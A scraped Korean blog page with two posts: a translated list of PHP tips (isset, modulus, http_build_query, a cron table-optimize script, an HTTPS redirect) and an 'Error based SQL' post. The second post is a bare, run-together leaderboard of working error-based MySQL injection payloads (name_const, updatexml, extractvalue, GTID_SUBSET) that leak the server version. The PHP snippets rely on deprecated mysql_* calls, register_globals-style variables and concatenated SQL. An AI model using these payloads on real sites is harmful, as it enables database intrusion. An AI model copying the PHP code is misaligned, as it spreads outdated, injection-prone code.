많은 경우에,  불대수의 값을반전할 때 not 연산을 하는 것이 제일 간단하다. 저 방법도 충분히 쉬운데, 때때로 정수값과 불대수를 혼동해서 사용하는 경우가 있을 것이다(1 = true, 0 = false). 이런 경우에, 동일한 역할을 수행하는 php 코드 조각을 제시한다.


view plaincopy to clipboardprint?

$true = 1;  

$false = 1 - $true;  

$true = 1 - $false;  

The same principle can be used any time you want to toggle an integer between two values e.g. between 2 and 5:

위의 원리는 아래의 소스와 동일한 원리이다.

view plaincopy to clipboardprint?

$val = 5;  

$val = 7 - $val; // now it's 2...  

$val = 7 - $val; // and now it's 5 again  


23. isset($var, $var, …)

Useful little thing, this - you can check the state of multiple variables within a single PHP isset() construct, like so:


23. isset($var, $var, …)

제법 유용한 건데, 여러개의 변수를 isset()함수를 통해 한 번에 체크할 수 있다.

view plaincopy to clipboardprint?

$foo = $bar = 'are set';  

isset($foo, $bar); // true  

isset($foo, $bar, $baz); // false  

isset($baz, $foo, $bar); // false  

On a related note, in case you’re not already aware of this, isset actually sees null as being not set:

이것과 관련해서, 당신이 이것을 모를 경우에 대해, isset은 NULL과 할당이 되지 않음을 동일히 본다.

view plaincopy to clipboardprint?

$list = array('foo' => 'set', 'bar' => null);  

isset($list['foo']); // true, as expected  

isset($list['bar']); // false!  

In situations like the above, it’s more reliable to use array_key_exists().

위와 같은 경우에는 array_key_exists()를 사용하는 것이 좀 더 안정적이다.


24. Modulus Operator

During a loop, it’s a fairly common need to perform a specific routine every n-th iteration. The modulus operator is extremely helpful here - it’ll divide the first operand by the second and return the remainder, to create a useful, cyclic sequence:


24. 나머지 연산자.

반복문 구동 중에, 특정한 루틴이 n 번째의 구동 중에 필요할 경우가 종종 있다. 나머지 연산은 이럴 때 굉장히 쓸만하다. -  이건 첫 번째 연산을 나눈 뒤에 나머지를 반환합니다. 반복 구문을 쓸모있게 만들어봅시다.

view plaincopy to clipboardprint?

for ($i = 0; $i < 10; ++$i)  

{  

   echo $i % 4, ' ';  

}  

// outputs 0 1 2 3 0 1 2 3 0 1  


25. http_build_query

This function turns a native array into a nicely-encoded query string. Furthermore, this native function is configurable and fully supports nested arrays.


25. http_build_query

이 함수는 잘 인코딩된 쿼리 스트링을 기본 배열로 돌려줍니다. 게다가, 이 기본 함수는 중첩 배열을 완벽하게 지원합니다.

26. <input name="foo[bar]" />

HTML + PHP are quite capable of handling form fields as arrays. This one’s particularly helpful when dealing with multiple checkboxes since the selected values can be automatically pushed into an indexed (or associative) array, rather than having to capture them yourself.


26. <input name=”foo[bar”] />

HTML + PHP 조합은 배열로 form의 field들을 괜찮게 다룰 수 있습니다. 위와 같이 설정하는 것은 다중 체크박스를 할 때 인덱스(나 연관) 배열로 반환하기 때문에 훨씬 편하게 쓸 수 있습니다.


27. get_browser()

Easily get your hands on the users browser-type. Some leave this process to the browser end but can be useful to get this info server side.


27. get_browser()

손쉽게 유저의 브라우저 타입이 뭔지 알 수 있습니다. 어떤 브라우저는 이 프로세스를 종료할 때 처리하지만, 서버에선 여전히 유용한 정보 획득 수단입니다.

28. debug_print_backtrace()

I use this one a lot, print a debug-style list of what was called to get the the point where this function is called.


28. debug_print_backtrace()

저는 이것을 꽤 많이 사용하는데, 이 함수가 호출된 위치를 디버깅 스타일로 출력해줍니다.


29. Automatic optimization for your database

Just like you need to defrag and check your file system, it’s important to do the same thing with SQL tables. If you don’t, you might end up with slow and corrupted database tables.


Furthermore, you will probably add and delete tables from time to time. Therefore, you want a solution that works no matter how your database looks like. For this, you can use this PHP script that finds all your tables, and then perform Optimize on every single one. Then a good idea can be to do this every night (or whenever your server is least accessed) with “cron” because you don’t want to delay your surfers to much.


29. 데이터베이스 자동 최적화 하기

파일 시스템을 조각 모음하고 체크하는 것을 좋아한다면, 이것은 SQL 테이블에서도 같은 역할을 수행하는 중요한 일입니다. 만약 당신이 그렇지 않다면, 당신의 데이터베이스는 결국 느리고 박살나겠지요.


게다가, 당신이 테이블을 매번 추가하거나, 삭제해서 DB의 모양이 어떻게 되건  당신이 원하는 모양으로 솔루션이 작동되길 바라겠죠.  이것을 위해, 당신은 PHP 스크립트를 이용하여 최적화를 통해 모든 테이블을 찾아가 하나씩 명령을 처리하고 있습니다. 그렇다면 당신이 매일밤 ‘크론’을 통해 수행할 수 있는 좋은 방법이 있습니다. (왜 크론을 쓰냐면 당신을 방해하고 싶지 않아서지요)

view plaincopy to clipboardprint?

dbConnect()  

$tables = mysql_query("SHOW TABLES");  

 

while ($table = mysql_fetch_assoc($tables))  

{  

  foreach ($table as $db => $tablename)  

  {  

      mysql_query("OPTIMIZE TABLE '".$tablename."'")  

          or die(mysql_error());  

  }  

}  



30. require() vs. require_once()

Use require() instead of require_once() where possible.


30. require() vs require_once()

가능하다면 require_once 대신아 require 함수를 사용하세요.


Read more...


31. Check System Calls

A common mistake with Apache


31. 시스템 호출을 확인하세요

보통 아파치에서 가장 많이 하는 실수입니다.

view plaincopy to clipboardprint?

/usr/sbin/apache2 -X &  

strace -p 16367 -o sys1.txt   

grep stat sys1.txt | grep -v fstat | wc -l  

...  

index.html (No such file or directory)  

index.cgi  (No such file or directory)  

index.pl   (No such file or directory)  

index.php ...  

Fix DirectoryIndex

디렉토리 인덱스를 수정하세요.

view plaincopy to clipboardprint?

<Directory /var/www>  

   DirectoryIndex index.php  

</Directory>  


32. Secure HTTP connections

You can force a secure HTTP connection using the following code,

view plaincopy to clipboardprint?

if (!($HTTPS == "on")) {  

  header ("Location: https://$SERVER_NAME$php_SELF");  

  exit;  

}  


33. Avoid magic like __get, __set, __autoload

_get() and __set() will provide a convenience mechanism for us to access the individual entry properties, and proxy to the other getters and setters. They also will help ensure that only properties we whitelist will be available in the object. This obviously carries a small cost. Also, __autoload will affect your code more less in the same way as require_once.


33.  __get, __set, __autoload와 같은 사술을 피하라.

__get() 과 __set()  개별 항목의 속성을 접근하거나, 다른 getter나 setter를 대신하는데 꽤나 편리한 방식을 제공한다. 이것들은 언제나 우리가 이 변수를 사용해도 되는지, 화이트리스트같이 확신을 제공해주기도 합니다. __autoload보다 __get, __set이 적은 비용을 소모하지만, 소모한다는 사실은 붕명하며 당신의 코드에 require_once와 같은 방식으로 적은 영향을 미칠 것입니다.

References

[1] Here it is. 8 randomly useful PHP tricks. http://theresmystuff.com, 2010.


[2] TJS. 5 useful (PHP) tricks and functions you may not know. http://www.tjs.co.uk, 2010.


[3] Checkmate - Play with problems. Optimize your PHP Code - Tips, Tricks and Techniques. http://abcphp.com, 2008.


[4] iBlog - Ilia Alshanetsky. PHP Optimization Tricks. http://ilia.ws, 2004.

'Web' 카테고리의 다른 글

Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
PHP web development tips and tricks  (0) 2015.11.13
Error based SQL  (0) 2015.10.28
mysql python  (0) 2015.02.23
Posted by Maid:: IzayoiSakuya

Error based SQL

Web 2015.10.28 09:12







1

@Black2Fan'-(SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a)#1060564952014-10-01 08:55:54
'=0 group by elt(rand(),version())having sum(0)#106281
'-updatexml(0,repeat(version(),2),2)#110592
'|polygon((select*from(select name_const(version(),1))x))#136771
'--~(select*from(select@@version)f)#169093
'|GTID_SUBSET(@@version,0)#1772102
2kamior'/(select*from(select+name_const(version(),1),name_const(version(),1))a)#1060564952014-10-01 11:41:33
'=0 group by elt(rand(),version())having min(0)#106281
'/updatexml(0,repeat(version(),2),0)#110592
'-polygon((select*from(select name_const(version(),1))o))#136771
'--~(select*from(select@@version)f)#169093
'/gtid_subset(@@version,0)#1772102
3mb'|(select*from(select name_const(version(),1),name_const(version(),1))a)#1060563222014-09-17 20:03:18
'=0 group by elt(rand(),version())having min(0)#106281
'|updatexml(1,repeat(version(),2),1)#110592
'--~(select*from(select@@version)f)#169093
4snoopdogg'<1 group by elt(rand(),version())having min(0)#1062812432014-10-01 13:20:39
'|polygon((select*from(select name_const(version(),1))p))#136771
'|!(select*from(select@@version)x)-~0#169091
5ZiX'or 1 group by concat(version(),floor(rand(0)*2)) having min(0)or''='1062601332014-09-15 23:02:45
' and extractvalue(rand(0),concat(0x0a,version()))or''='110573
6123'--~(select*from(select@@version)f)#169093932014-09-16 19:44:00
7der'--~(select*from(select@@version)f)# 169092922014-09-15 20:37:58
8r'|(select!x-~0.FROM(select+version()x)f)#169088882014-09-15 19:49:35
9BlackFan'|(select!x-~0.FROM(select@@version x)f)#169088882014-10-01 14:08:20
10asdf'UnIoN SeLeCt CoUnT(`TeXt`) FrOm test.news WhErE 1=1 GrOuP By CoNcAt(VeRsIoN(),FlOoR(RaNd(1337)*2)),'10622828
2014-09-15 23:54:40


'Web' 카테고리의 다른 글

Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
PHP web development tips and tricks  (0) 2015.11.13
Error based SQL  (0) 2015.10.28
mysql python  (0) 2015.02.23
Posted by Maid:: IzayoiSakuya